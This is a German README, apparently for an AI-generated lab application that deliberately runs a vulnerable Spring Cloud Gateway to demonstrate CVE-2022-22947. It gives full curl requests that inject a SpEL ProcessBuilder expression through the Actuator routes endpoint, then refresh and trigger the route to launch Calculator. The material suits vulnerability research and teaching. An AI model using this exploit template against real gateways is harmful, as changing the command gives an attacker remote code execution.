
Eine KI-generierte Anwendung zur Schwachstellenverifikation
Dies ist eine Spring Cloud Gateway-Anwendung, die speziell zur Demonstration und Verifizierung der Schwachstelle CVE-2022-22947 entwickelt wurde. Die Anwendung verwendet eine anfällige Version von Spring Cloud Gateway und ermöglicht die Ausführung beliebigen Codes über den Actuator-Endpunkt.
CVE-2022-22947 ist eine Schwachstelle zur Remote-Codeausführung in Spring Cloud Gateway. Ein Angreifer kann über den Actuator-Endpunkt dynamisch Routen hinzufügen, die bösartige SpEL-Ausdrücke enthalten, um beliebigen Code auszuführen.
mvn spring-boot:run
Die Anwendung wird unter http://localhost:8080 gestartet.
Senden Sie eine POST-Anfrage an den Endpunkt /actuator/gateway/routes/test, um eine Route mit einem bösartigen SpEL-Ausdruck hinzuzufügen:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
Senden Sie eine POST-Anfrage an den Endpunkt /actuator/gateway/refresh, um die Routen zu aktualisieren:
curl -X POST http://localhost:8080/actuator/gateway/refresh
Rufen Sie die bösartige Route auf, um die Codeausführung auszulösen:
curl http://localhost:8080/test
Nach erfolgreicher Ausnutzung der Schwachstelle wird die macOS-Taschenrechner-Anwendung gestartet.
Endpunkt: POST /actuator/gateway/routes/test
Anfrage-Header:
Content-Type: application/json
Anfrage-Body:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
Endpunkt: POST /actuator/gateway/refresh
Endpunkt: GET /test
Diese Schwachstelle ermöglicht es einem Angreifer, über Actuator-Endpunkte dynamisch Routen hinzuzufügen und mithilfe von SpEL-Ausdrücken in den Routenfiltern beliebigen Code auszuführen. Der Kern der Schwachstelle liegt in der unsachgemäßen Verarbeitung von SpEL-Ausdrücken in der Routenkonfiguration durch Spring Cloud Gateway.
⚠️ Sicherheitswarnung: Diese Anwendung dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Verwenden oder deployen Sie diese Anwendung nicht in Produktionsumgebungen.
⚠️ Rechtlicher Hinweis: Stellen Sie sicher, dass Sie über die entsprechende Genehmigung verfügen, bevor Sie diese Anwendung für Schwachstellentests verwenden. Nicht autorisierte Tests können gegen Gesetze und Vorschriften verstoßen.